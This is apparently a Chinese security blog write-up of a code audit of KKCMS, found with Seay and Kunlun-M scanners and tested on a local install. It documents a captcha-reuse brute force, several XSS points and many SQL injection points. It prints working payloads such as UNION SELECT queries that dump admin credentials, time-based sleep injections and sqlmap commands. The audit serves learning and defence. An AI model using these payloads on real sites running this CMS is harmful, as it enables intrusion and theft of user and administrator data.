红队蓝军
红队蓝军

记一次较为详细的某CMS代码审计

前言

本次审计的话是Seay+昆仑镜进行漏洞扫描 

Seay的话它可以很方便的查看各个文件，而昆仑镜可以很快且扫出更多的漏洞点，将这两者进行结合起来，就可以发挥更好的效果。

昆仑镜官方地址

https://github.com/LoRexxar/Kunlun-M

环境

KKCMS环境搭建

KKCMS链接如下

https://github.com/liumengxiang/kkcms

安装的话正常步骤就好，即

1、解压至phpstudy目录下
2、访问install
3、新建kkcms数据库，然后在安装的时候用这个数据库
4、安装完成，开始审计

目录结构

记一次较为详细的某CMS代码审计_第1张图片

常见的目录结构，简单了解一下其作用

admin 后台管理目录
css CSS样式表目录
data 系统处理数据相关目录
install 网页安装目录
images 系统图片存放目录
template 模板
system  管理目录

代码审计

记一次较为详细的某CMS代码审计_第2张图片

对扫描出的开始进行审计

验证码重用

admin/cms_login.php

源码如下

验证码的校验代码

  if ($_SESSION['verifycode'] != $_POST['verifycode']) {
        alert_href('验证码错误','cms_login.php');
    }

不难发现这里是将$_SESSION['verifycode']与POST上传的verifycode相比较,如果不相等就会刷新跳转，重新回到登录处，此时验证码也会被更新。我们进入前端界面看一下

记一次较为详细的某CMS代码审计_第3张图片

发现验证码js对应处存在文件，跟进查看一下

该文件的含义是用0-9中的任意四个数字作为验证码，也就是说js引用该文件来产生验证码。这里学习过其他师傅的思路后，了解到

Burpsuite默认不解析js

因此我们这里就可以借助bp抓包，摒弃js，对用户名和密码进行爆破 

抓包后发送到instruct模块，在密码处添加变量

记一次较为详细的某CMS代码审计_第4张图片

而后添加一些常用的弱口令密码

记一次较为详细的某CMS代码审计_第5张图片

开始爆破

记一次较为详细的某CMS代码审计_第6张图片

成功爆破出密码

XSS

wap/shang.php

使用昆仑镜进行扫描，得到结果

图片

结合Seay，查看该文件代码

记一次较为详细的某CMS代码审计_第7张图片

可以看到直接输出了$_GET['fee']，因此我们这里直接传入一个xss语句尝试触发xss payload

fee=

记一次较为详细的某CMS代码审计_第8张图片

wap/seacher.php

昆仑镜扫描

图片

利用seay查看源码

//这只是一部分，具体的师傅们可自行查看此文件




搜索<?php echo $q?>-<?php echo $xtcms_seoname;?>
,">
">

可以发现这里这个变量$q直接被输出了，这个$q是POST上传的wd参数，因此我们这里POST上传wd参数，给它赋值一个xss语句的话，应该是可以进行XSS的，我们试着去构造一下

wp=

记一次较为详细的某CMS代码审计_第9张图片

成功触发XSS

wap/movie.php

//部分源码



$b=(strpos($_GET['m'],'rank='));
$ye=substr($_GET['m'],$b+5);
?>
 href="?m=/dianying/list.php?rank=rankhot">最近热映 
 href="?m=/dianying/list.php?rank=createtime">最新上映        
 href="?m=/dianying/list.php?rank=rankpoint">最受好评

存在可控参数$_GET['m']和$_GET['page']，开头引用了inc.php，试着找一下输出语句。发现输出语句

发现被函数getPageHtml包裹了，跟进查看

function getPageHtml($_var_60, $_var_61, $_var_62)
{
 $_var_63 = 5;
 $_var_60 = $_var_60 < 1 ? 1 : $_var_60;
 $_var_60 = $_var_60 > $_var_61 ? $_var_61 : $_var_60;
 $_var_61 = $_var_61 < $_var_60 ? $_var_60 : $_var_61;
 $_var_64 = $_var_60 - floor($_var_63 / 2);
 $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
 $_var_65 = $_var_60 + floor($_var_63 / 2);
 $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 $_var_66 = $_var_65 - $_var_64 + 1;
 if ($_var_66 < $_var_63 && $_var_64 > 1) {
  $_var_64 = $_var_64 - ($_var_63 - $_var_66);
  $_var_64 = $_var_64 < 1 ? 1 : $_var_64;
  $_var_66 = $_var_65 - $_var_64 + 1;
 }
 if ($_var_66 < $_var_63 && $_var_65 < $_var_61) {
  $_var_65 = $_var_65 + ($_var_63 - $_var_66);
  $_var_65 = $_var_65 > $_var_61 ? $_var_61 : $_var_65;
 }
 if ($_var_60 > 1) {
  $_var_67 .= '
  • 上一页
    • ';
 }
 for ($_var_68 = $_var_64; $_var_68 <= $_var_65; $_var_68++) {
  if ($_var_68 == $_var_60) {
   $_var_67 .= '
  • ' . $_var_68 . '
    • ';
  } else {
   $_var_67 .= '
  • ' . $_var_68 . '
    • ';
  }
 }
 if ($_var_60 < $_var_65) {
  $_var_67 .= '
  • 下一页
    • ';
 }
 return $_var_67;
}

    跟进查看后也没有发现输出点，结果网页端js代码再看看 传参

    http://127.0.0.1:8080/kkcms-kkcms/wap/movie.php?m=111

    查看源代码，Ctrl+f搜?m=111查找对应js代码

    记一次较为详细的某CMS代码审计_第10张图片

    找到js代码

  • 4
  • 5
  • 下一页
    •

    尝试直接闭合a标签执行xss语句，构造payload如下

    ?m=">

    记一次较为详细的某CMS代码审计_第11张图片

    成功触发xss 

    同类XSS文件如下

    wap/tv.php
其对应输出代码如下


wap/zongyi.php
其对应输出代码如下


wap/dongman.php
其对应输出代码如下

    system/pcon.php(失败)

    图片

    发现这里有个echo 变量的，利用Seay跟进一下这个文件

    


0){
$tiaourl=$cc.$_GET['play'];
  }
else{
$tiaourl=$dd.$_GET['play']; 
  }
}
}
?>
uaredirect("wap/");

    此时发现可控变量play，如果让他变为xss恶意语句，就可能会实现xss，但我们这个时候看一下最上面，发现有一个if语句

    if ($xtcms_pc==1){

    它这个条件为true后执行的语句，不仔细看的话甚至都找不到结尾处在哪，经过仔细查看后发现在最后

    记一次较为详细的某CMS代码审计_第12张图片

    这里的话也就是说，我们只有满足了$xtcms_pc==1这个条件，才能够成功的往下执行，进而利用play参数构造xss语句，因此我们此时就需要跟进这个$xtcms_pc变量，全局搜索一下

    记一次较为详细的某CMS代码审计_第13张图片

    发现变量赋值点，跟进查看

    记一次较为详细的某CMS代码审计_第14张图片

    简单看一下这里的代码，发现这个结果是从SQL查询处的结果取出的，而SQL语句不存在变量，因此这里的话我们是不可控的，所以这里的话应该是不存在XSS的，G

    admin/cms_ad.php

    登录后台后发现有个广告管理界面

    记一次较为详细的某CMS代码审计_第15张图片

    发现这里可以设置名称和广告内容，尝试在名称处插入xss语句

    记一次较为详细的某CMS代码审计_第16张图片

    发现此时成功触发了xss语句，那么这里的话应该是直接将广告名称进行了输出，我们查看后端代码，验证一下

    





名称

请输入广告名称
    内容 请输入广告的内容<a href="网址" target="_blank"><img src="图片地址" style="width:100%"></a>
    广告位置 ">

    后端名称处代码为

    可以发现这里只是限制了长度为60，其他没有什么限制，输出广告内容的代码是

    $result = mysql_query('select * from xtcms_ad order by id desc');
while($row = mysql_fetch_array($result)){
?>

    这里的话是取出结果，然后将结果赋值给$row，最后输出了$row['id']和$row['name']，正如同所说的一样，不存在过滤点，因而导致了XSS的出现 

    而你此时大概看一下代码的话，它的内容也是如此，内容是在加载页面的时候出现的，这个时候我们可以用img来构造一个xss恶意语句

    记一次较为详细的某CMS代码审计_第17张图片

    此时随便访问首页的一个视频

    记一次较为详细的某CMS代码审计_第18张图片

    成功触发XSS

    youlian.php

    设置了addslashes函数防止SQL注入，但并未防止XSS，我们构造payload如下

    xss

    记一次较为详细的某CMS代码审计_第19张图片

    后端查看就会发现

    记一次较为详细的某CMS代码审计_第20张图片

    XSS被触发

    admin/cms_kamilist.php

    //部分源码



使用情况
已使用 未使用      

"/>

">导出

    关注

     value=""

    发现这里参数id没有什么防护，虽然开头涉及了inc.php，但那个是防护SQL注入的，不影响xss。我们这里如果能够闭合语句的话，似乎就可以触发XSS了。payload

    id=">
//此时的语句就是 value=" ?>"

    结果如下

    记一次较为详细的某CMS代码审计_第21张图片

    wx_api.php

    class wechatCallbackapiTest
{
 public function valid()
    {
        $echoStr = $_GET["echostr"];
        if($this->checkSignature()){
         echo $echoStr;
         exit;
        }
    }

    可以发现这里的参$_GET['echostr']不存在防护，在传入后经过一个if语句直接进行了输出，我们跟进一下这个if语句了的checkSignature函数查看一下

     private function checkSignature()
 {
        // you must define TOKEN by yourself
        if (!defined("TOKEN")) {
            throw new Exception('TOKEN is not defined!');
        }
        
        $signature = $_GET["signature"];
        $timestamp = $_GET["timestamp"];
        $nonce = $_GET["nonce"];
          
  $token = TOKEN;
  $tmpArr = array($token, $timestamp, $nonce);
        // use SORT_STRING rule
  sort($tmpArr, SORT_STRING);
  $tmpStr = implode( $tmpArr );
  $tmpStr = sha1( $tmpStr );
  
  if( $tmpStr == $signature ){
   return true;
  }else{
   return false;
  }
 }

    发现这里大概是个检验token的，传个空对应的md5值应该就可以，尝试xss payload

    ?echostr=&signature=da39a3ee5e6b4b0d3255bfef95601890afd80709

    记一次较为详细的某CMS代码审计_第22张图片

    SQL

    bplay.php

    0){
if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
  $u_group=$row['u_group'];//到期时间
     }
 if($u_group<=1){//如果会员组
 alert_href('对不起,您不能观看会员视频，请升级会员！',''.$xtcms_domain.'ucenter/mingxi.php');
 } 
}
include('system/shoufei.php');
if($d_jifen>0){//积分大于0,普通会员收费
 if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
     $u_points=$row['u_points'];//会员积分
     $u_plays=$row['u_plays'];//会员观看记录
     $u_end=$row['u_end'];//到期时间
  $u_group=$row['u_group'];//到期时间
     } 

      if($u_group<=1){//如果会员组
     if($d_jifen>$u_points){
  alert_href('对不起,您的积分不够，无法观看收费数据，请推荐本站给您的好友、赚取更多积分',''.$xtcms_domain.'ucenter/yaoqing.php');
    }  else{

    if (strpos(",".$u_plays,$d_id) > 0){ 

 } 
 //有观看记录不扣点
else{

   $uplays = ",".$u_plays.$d_id;
   $uplays = str_replace(",,",",",$uplays);
   $_data['u_points'] =$u_points-$d_jifen;
   $_data['u_plays'] =$uplays;
   $sql = 'update xtcms_user set '.arrtoupdate($_data).' where u_name="'.$_SESSION['user_name'].'"';
if (mysql_query($sql)) {

alert_href('您成功支付'.$d_jifen.'积分,请重新打开视频观看!',''.$xtcms_domain.'bplay.php?play='.$d_id.'');
}
}
 
}
}
}
if($d_user>0){ 
if(!isset($_SESSION['user_name'])){
  alert_href('请注册会员登录后观看',''.$xtcms_domain.'ucenter');
 };
    $result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');//查询会员积分
     if($row = mysql_fetch_array($result)){
     $u_points=$row['u_points'];//会员积分
     $u_plays=$row['u_plays'];//会员观看记录
     $u_end=$row['u_end'];//到期时间
  $u_group=$row['u_group'];//到期时间
     }   
if($u_group<$d_user){
 alert_href('您的会员组不支持观看此视频!',''.$xtcms_domain.'ucenter/mingxi.php');
}
}
function get_play($t0){
 $result = mysql_query('select * from xtcms_player where id ='.$t0.'');
 if (!!$row = mysql_fetch_array($result)){
return $row['n_url'];
 }else{
  return $t0;
 };
}
$result = mysql_query('select * from xtcms_vod where d_id ='.$d_id.'');
 if (!!$row = mysql_fetch_array($result)){
$d_scontent=explode("\r\n",$row['d_scontent']);
//print_r($d_scontent);
for($i=0;$i

    这里的话可以看出主要的SQL语句是这句话

    $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['play'].' ');

    然后这个play参数是GET传参的，同时看这里的代码可以看出它是没有单引号或者双引号包裹的，此时我们跟进一下include的文件,也就是system/inc.php，查看一下这个文件

    记一次较为详细的某CMS代码审计_第23张图片

    跟进这个library.php

    可以发现这里的话对传入的参数都进行了特殊字符转义，防止SQL注入 

    但事实上我们那个参数未被单引号或者双引号包裹，这也就意味着这里的防护其实是无意义的，因此我们这里的话我们也就可以尝试去进行SQL注入 

    首先我们试着去检测一下字段数，payload如下所示

    play=1 order by 17  //回显正常
play=1 order by 18  //回显错误

    记一次较为详细的某CMS代码审计_第24张图片

    记一次较为详细的某CMS代码审计_第25张图片

    这里的话也就可以发现字段数为17了，接下来就可以进去联合查询了，首先我们需要去找一下回显位

    play=-1 union select 1,2,3,0,0,6,7,8,9,10,11,12,13,14,15,16,17

    记一次较为详细的某CMS代码审计_第26张图片

    可以发现回显位是2和9，我们这个时候就可以去读取数据库、数据表这些了，payload如下

    //查库
play=-1 union select 1,2,3,0,0,6,7,8,database(),10,11,12,13,14,15,16, 17
//查表
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(table_name) from information_schema.tables where table_schema=database()),10,11,12,13,14,15,16, 17
//查列
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(column_name) from information_schema.columns where table_name=0x626565735f61646d696e),10,11,12,13,14,15,16, 17//之所以用十六进制是因为这里的单引号会被转义
//查字段
play=-1 union select 1,2,3,0,0,6,7,8,(select group_concat(admin_name,0x7e,admin_password) from bees_admin),10,11,12,13,14,15,16, 17

    记一次较为详细的某CMS代码审计_第27张图片

    记一次较为详细的某CMS代码审计_第28张图片

    记一次较为详细的某CMS代码审计_第29张图片

    wap/user.php（失败）

    图片

    结合Seay

    $userid){ 
alert_href('您现在所属会员组的权限制大于等于目标会员组权限值，不需要升级!','mingxi.php');
}

    看这一处代码

    $card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

    不难发现这里的Select语句中的参数被双引号包裹了，而开头包含了inc.php文件，之前就已经查看过，这个文件包含了四个文件，其中一个文件中有addslashes_deep函数，对传入的参数中的特殊字符(如',",\)进行了转义，因此我们这里的话无法通过闭合双引号达到SQL注入的目的，同文件的其他SQL注入处也是如此，这里不再展示

    wap/login.php

    图片

    扫出login.php中存在多个可控变量，我们使用Seay来看一下具体代码

    //展示的仅为一部分
$u_end){
 $_data['u_flag'] =="0";
 $_data['u_start'] =="";
 $_data['u_end'] =="";
 $_data['u_group'] =1;
 }else{
 $_data['u_flag'] ==$row["u_flag"];
 $_data['u_start'] ==$row["u_start"];
 $_data['u_end'] ==$row["u_end"];
 $_data['u_group'] =$row["u_group"];
 }
 mysql_query('update xtcms_user set '.arrtoupdate($_data).' where u_id ="'.$row['u_id'].'"');
 $_SESSION['user_name']=$row['u_name'];
 $_SESSION['user_group']=$row['u_group'];
 if($_POST['brand1']){ 
setcookie('user_name',$row['u_name'],time()+3600 * 24 * 365); 
setcookie('user_password',$row['u_password'],time()+3600 * 24 * 365); 
} 
  header('location:user.php');
 }else{
  alert_href('用户名或密码错误或者尚未激活','login.php?op=login');
 }
}
if(isset($_POST['reg'])){
$username = stripslashes(trim($_POST['name']));
// 检测用户名是否存在
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
if(mysql_fetch_array($query)){
echo '';
exit;
}
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
if(mysql_fetch_array($result)){
echo '';
exit;
}
$password = md5(trim($_POST['password']));
$email = trim($_POST['email']);
$regtime = time();
$token = md5($username.$password.$regtime); //创建用于激活识别码
$token_exptime = time()+60*60*24;//过期时间为24小时后
$data['u_name'] = $username;
$data['u_password'] =$password;
$data['u_email'] = $email;
$data['u_regtime'] =$regtime;
if($xtcms_mail==1){
$data['u_status'] =0;
 }else{
$data['u_status'] =1;
 }
$data['u_group'] =1;
$data['u_fav'] =0;
$data['u_plays'] =0;
$data['u_downs'] =0;
//推广注册
if (isset($_GET['tg'])) {
 $data['u_qid'] =$_GET['tg'];
 $result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');
if($row = mysql_fetch_array($result)){

$u_points=$row['u_points'];
}

    不难发现这里的SELECT语句有以下几个

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');
$result = mysql_query('select * from xtcms_user where u_id="'.$_GET['tg'].'"');

    但文件开头就声明包含了inc.php文件，说明这里的话包含了过滤函数，也就是对SQL注入是有防护的，对'、"以及\都进行了转义，因此这里如果参数是被单引号或者双引号包裹的话，那么这里极有可能算是G了，我们看第一个，也就是

    $sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

    它这个不难发现，$u_name和$u_password都被双引号包裹了，因此这里就不存在SQL注入了。但是看一下第二个，第二个的username参数虽然是被双引号进行包裹了，但你会发现这个参数的传值方式是$username = stripslashes(trim($_POST['name']));，这个stripslashes的功能是消除由addslashes函数增加的反斜杠，一个增加一个消除，那这里不就跟没有设置过滤一样吗，因此这个name参数是存在SQL注入的，我们通过BurpSuite进行抓包

    记一次较为详细的某CMS代码审计_第30张图片

    然后将内容复制到一个txt文件中

    记一次较为详细的某CMS代码审计_第31张图片

    我这里保存在sqlmap目录下

    记一次较为详细的某CMS代码审计_第32张图片

    而后打开sqlmap，输入如下payload即可

    python sqlmap.py "D:/sqlmap/2.txt" --dbs --batch

    记一次较为详细的某CMS代码审计_第33张图片

    可以看到存在延时注入，成功爆破出数据库

    vlist.php

    在这个界面，用单引号测试一下发现跟正常界面有所不同

    记一次较为详细的某CMS代码审计_第34张图片

    看一下后端代码

    
      
             '.$row['c_name'].'';
  }
?>

    这里简单看一下的话，不难发现这里的参数cid是不存在任何防护的，即没有被单引号或者双引号包裹，因此这里开头引用的inc.php虽然对SQL注入进行了防护，但在这里其实是没有意义的，用SQLmap跑一下

    python sqlmap.py -u http://127.0.0.1:8080/kkcms-kkcms/vlist.php?cid=1 --dbs --batch

    记一次较为详细的某CMS代码审计_第35张图片

    后端文件

    记一次较为详细的某CMS代码审计_第36张图片

    扫出多个后端文件存在SQL注入，接下来逐一进行检测

    admin/cms_admin_edit.php

    源码如下

    //部分代码

    这里的话重点关注肯定是SQL语句，也就是这句话

    $result = mysql_query('select * from xtcms_manager where m_id = '.$_GET['id'].'');

    发现id是无引号包裹的，这意味着这里是存在SQL注入的，我们去验证一下

    id=1 

    记一次较为详细的某CMS代码审计_第37张图片

    id=1 and sleep(5)

    记一次较为详细的某CMS代码审计_第38张图片

    发现两者回显时间不同，说明存在SQL注入，具体为时间盲注，这里就可以编写Python脚本来爆破数据库信息，也可以通过SQLmap，这里不再展示

    admin/cms_login.php

    这里的话就是发现这个可控参数都被双引号包裹了，然后文件开头包含了inc.php，意味着存在对SQL注入的防护，因此这里的话是无法实现SQL注入的，转战下一处。

    admin/cms_user_edit.php

    //部分代码

    一眼顶真，无包裹方式，存在SQL注入

    id = 16 and sleep(5)

    记一次较为详细的某CMS代码审计_第39张图片

    具体不再演示，此类的我将其列在一起，具体如下所示

     admin/cms_nav_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_nav where id = '.$_GET['id'].'');
 
 admin/cms_detail_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_vod where d_id = '.$_GET['id'].'');
 
 admin/cms_channel_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_vod_class where c_id = '.$_GET['id']);
 
 admin/cms_check_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_book where id = '.$_GET['id'].'');
 
 admin/cms_player_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_player where id = '.$_GET['id'].'');
 
 admin/cms_slideshow_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_slideshow where id = '.$_GET['id'].' ');
 
 admin/cms_ad_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_ad where id = '.$_GET['id'].' ');
 
 admin/cms_link_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_link where l_id = '.$_GET['l_id'].'');
 
 admin/cms_usercard_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_userka where id = '.$_GET['id'].'');
 
 admin/cms_youlian_edit.php
 其SQL语句如下
 $result = mysql_query('select * from xtcms_youlian where id = '.$_GET['id'].'');

    admin/cms_user.php

    
if (isset($_GET['key'])) {
$sql = 'select * from xtcms_user where u_name like "%'.$_GET['key'].'%" order by u_id desc';
$pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
$result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

    这里的话参数是在like处，这里的话经过本地测试及查找资料并未发现此处可以进行SQL注入，通过SQLmap扫描也无果，各位大师傅如果有思路的话还请指点一二

    admin/cms_detail.php

    if (isset($_GET['cid'])) {
 if ($_GET['cid'] != 0){
  $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';
  $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
 }else{
  $sql = 'select * from xtcms_vod order by d_id desc';
  $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
  $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
  }
}

    这里的话关注这里

    $sql = 'select * from xtcms_vod where d_parent in ('.$_GET['cid'].') order by d_id desc';

    这个cid参数是被括号包裹的，这里我们可以尝试通过使用这种payload来进行闭合语句从而进行SQL注入

    cid=1) and sleep(1) --+
//此时语句$sql = 'select * from xtcms_vod where d_parent in (1) and sleep(5)

    记一次较为详细的某CMS代码审计_第40张图片

    记一次较为详细的某CMS代码审计_第41张图片

    根据回显时间可以看出此处是存在SQL注入的

    admin/cms_kamilist.php

    
if (isset($_GET['c_used'])) {
 $sql = 'select * from xtcms_user_card where c_used="'.$_GET['c_used'].'" order by c_id desc';
 $pager = page_handle('page',20,mysql_num_rows(mysql_query($sql)));
 $result = mysql_query($sql.' limit '.$pager[0].','.$pager[1].'');
}

    这里的话可以看出参数被双引号包裹了，开头包含了SQL防护文件，涉及了addslashes()函数，所以这里自认为是不存在SQL注入的，找下一处。

    ucenter/index.php

    //部分

    这里的话可以看见参数是SESSION传参，不同于之前的GET和POST，而且这里还有双引号包裹，因此这里不存在SQL注入，下一处 

    类似这种的还有

    ucenter/kami.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/chongzhi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

ucenter/mingxi.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_name="'.$_SESSION['user_name'].'"');

    ucenter/cms_user_add.php

    源码为

    双引号包裹，且包含了过滤函数，因此SQL注入不存在，误报，类似这种的还有

    ucenter/return_url.php
其SQL语句如下
$order = mysql_query('select * from xtcms_user_pay where p_order="'.$out_trade_no.'"');

ucenter/password.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/reg.php
其SQL语句如下
$result = mysql_query('select * from xtcms_user where u_email = "'.$_POST['email'].'"');

ucenter/login.php
其SQL语句如下
$sql = 'select * from xtcms_user where u_name = "'.$u_name.'" and u_password = "'.md5($u_password).'" and u_status=1';

ucenter/mingxi.php
其SQL语句如下
$card= mysql_query('select * from xtcms_userka where id="'.$_POST['cardid'].'"');

    ucenter/repass.php

    源码为

    这里的话我们看到参数name

    $username = stripslashes(trim($_POST['name']));

    这里引用了stripslashes函数，而文件开头又包含inc.php，这个文件里包含了addslashes函数，当我们参数出现单引号这种特殊字符时，addslashes会加上反引号，而stripslashes会清除addslashes函数加上的反引号，这个时候就相当于没有防护一样，所以显而易见这里是存在SQL注入的，我们可以使用bp抓包保存后，再利用sqlmap来得到数据库信息，具体payload

    python sqlmap.py -r "D:\sqlmap\3.txt" -p name --dbs

    但很怪，我自己的没有跑出来数据

    图片

    而我参考其他师傅的文章后发现他们的可以跑出来。

    payload如下

    name=1' AND (SELECT 3775 FROM (SELECT(SLEEP(5)))OXGU) AND 'XUOn'='[email protected]&password=111&submit=

    记一次较为详细的某CMS代码审计_第42张图片

    类似这种的还有

    ucenter/active.php
其SQL语句如下
$verify = stripslashes(trim($_GET['verify']));
$nowtime = time();
$query = mysql_query("select u_id from xtcms_user where u_question='$verify'");

ucenter/reg.php
其内SQL语句如下
if(isset($_POST['submit'])){
$username = stripslashes(trim($_POST['name']));
$query = mysql_query("select u_id from xtcms_user where u_name='$username'");

    总结

    本次CMS审计花费了很多时间,一方面因为漏洞点有点多，另一方面也是初学代码审计，不太擅长，经过此次审计后对SQL注入和XSS漏洞有了进一步的了解，也学到了新的思路和知识。也希望此文章能对在学习代码审计的师傅有一些帮助。

    参考文献

    https://xz.aliyun.com/t/7711

    https://xz.aliyun.com/t/11322#toc-2

    你可能感兴趣的:(学习,网络安全,安全,web安全)

    • 【Python】一文详细介绍 py格式 文件 高斯小哥 Python基础【高质量合集】python新手入门学习
      【Python】一文详细介绍py格式文件个人主页：高斯小哥高质量专栏：Matplotlib之旅：零基础精通数据可视化、Python基础【高质量合集】、PyTorch零基础入门教程希望得到您的订阅和支持~创作高质量博文(平均质量分92+)，分享更多关于深度学习、PyTorch、Python领域的优质内容！（希望得到您的关注~）文章目录一、py格式文件简介二、如何创建和编辑py格式文件三、如何运行py
    • 大学播音主持都学什么内容？播音主持专业学什么？ 配音新手圈
      有些喜欢播音主持并且犹豫要不要报考这个大学专业的小伙伴们就会想要了解大学播音主持都学什么内容吧，毕竟如果不够了解就直接选择这个专业真的等选择完进去学习以后才知道这个专业并不是自己想要学习的东西那就来不及了。下面是小编为大家整理出来的一些播音主持专业学习的内容，请往下看吧。大学播音主持专业主要学习的课程有：播音发声、播音创作基础、广播播音主持、电视播音主持、文艺作品演播学概论、新闻学概论、新闻采编、
    • 新网师的精神肤色（幕布笔记） 悦读书香
      王子老师的《极简100小妙招》收到已经几天了，之前大概的浏览了全书，今天起给自己定了一个计划，必须每天学习极简小妙招里面的一个妙招，并加以运用。一、今天要打卡什么内容因有完成每天学习极简小妙招的计划，所以今天晚饭吃的比较简单，草草吃完以后带着小宝到广场溜达一圈，急忙赶回来学习极简小妙招。再重看的时候不知道自己要学点什么，打卡哪一招，感觉哪个都简单，就看这一环节像王子老师说的“一看就会”，但做这一环
    • 信任 饮冰伊乔
      随着社会的发展，微信和支付宝交易给人们带来了极大的方便，越来越多的人出门都只选择拿一部手机即可，方便安全，可昨天我就遇到了一件比较尴尬的事。昨天傍晚，我从公司出来，感觉有点饿，决定索性吃了饭再回去，来到去过几次的一个店里，如往常一样叫了餐，当时店里吃饭的不多，老板麻利的先去做了，正要扫微信付账的时候发现手机没电了，迷之尴尬，我只好跟老板说不用做了，手机没电了，我身上又没现金，付不了帐了。老板娘很热
    • 学习JavaEE的日子 Day32 线程池 A 北枝 学习JavaEE学习java-eejava线程池
      Day32线程池1.引入一个线程完成一项任务所需时间为：创建线程时间-Time1线程中执行任务的时间-Time2销毁线程时间-Time32.为什么需要线程池(重要)线程池技术正是关注如何缩短或调整Time1和Time3的时间，从而提高程序的性能。项目中可以把Time1，T3分别安排在项目的启动和结束的时间段或者一些空闲的时间段线程池不仅调整Time1，Time3产生的时间段，而且它还显著减少了创建
    • 没有如释重负 君远近
      虽然只有短短的一个多月的努力复习时间，但今天的整个考试经过，还是发现了效果的，题目做的比较自如，没有慌里慌张，而且提前五分钟完成。至于考试成绩，没有实足的把握，60分都不敢保证。但绝对相信自己，比去年肯定要好！今天早早的赶到考场，见到了刘老师，谈起来学习情况，坦率的说，真的是自己不够重视。总以为会很难，没有信心。其实不是的，只要认真对待，树立足够的信心，绝对可以通过考试的。还向老师询问了，后续再报
    • C++学习笔记（lambda函数） __TAT__ C&C++c++学习笔记
      C++learningnote1、lambda函数的语法2、lambda函数的几种用法1、lambda函数的语法lambda函数的一般语法如下：[capture_clause](parameters)->return_type{function_body}capture_clause：需要捕获的变量，但要求该变量必须在这个作用域中。通常的捕获方式有以下几种：[]：不捕获任何变量[&]：按引用捕获变
    • 为千 佩蓉：为家庭放弃事业的男人没出息吗？ 北京朵多教育
      为家庭放弃事业的男人没出息吗我们在搭档的过程中会遇到一些问题，因此要做好心理准备，这样才不会陷入抱怨或双输的局面。关键不是谁比谁能力强，而是夫妻之间如何取长补短。家庭要赢需要每个人的付出和牺牲，大家一起分担和负责，这样才能享受相爱的自由、安全和归属感。我们需要做的牺牲包括自己的时间、自己的一些爱好，甚至事业发展。为千认为做好父亲是非常重要的事，所以他不仅要出席在孩子们的生活中，还要积极地参与和带领
    • 心赏（2018.10.8） 六一节_3928
      1.上班第一天，同事彤休完产假，回来上班，给我带了酸奶和水果。她生小孩时，我给她发了一个小红包贺喜，哪知她就记在心里了。心赏这个有心的90后。2.女儿放学回来，说自己当了小组长。一边说不想当，一边得意的样子。心赏老师给了孩子这个锻炼的机会。3.老妈今天做了"蚂蚁上树"的菜，得到女儿的高度肯定。心赏老妈还在不断学习。
    • yarn的安装和使用全网最详细教程 zxj19880502 yarnnpm
      一、yarn的简介：Yarn是facebook发布的一款取代npm的包管理工具。二、yarn的特点：速度超快。Yarn缓存了每个下载过的包，所以再次使用时无需重复下载。同时利用并行下载以最大化资源利用率，因此安装速度更快。超级安全。在执行代码之前，Yarn会通过算法校验每个安装包的完整性。超级可靠。使用详细、简洁的锁文件格式和明确的安装算法，Yarn能够保证在不同系统上无差异的工作。三、yarn的
    • 2022-2-13晨间日记 越亮也打烊
      今天是什么日子起床：7:00就寝：12:08天气：晴心情：糟糕纪念日：无任务清单昨日完成的任务，最重要的三件事：寒假作业，网课，画画改进：作业时间剪短习惯养成：网课不逃～周目标·完成进度数学卷子100％学习·信息·阅读《傅雷家书》《钢铁是怎样炼成的》健康·饮食·锻炼我终于不喝饮料啦，喝茶～人际·家人·朋友邝姐姐带我吃火锅工作·思考啥时候开学，我还有几天赶完作业最美好的三件事1.卷子写完了2.我有冰
    • 中原焦点团队38期王芳芳坚持分享第236天，20230630总约练134次，来访113次，咨8次，观察员13次 芳芳王
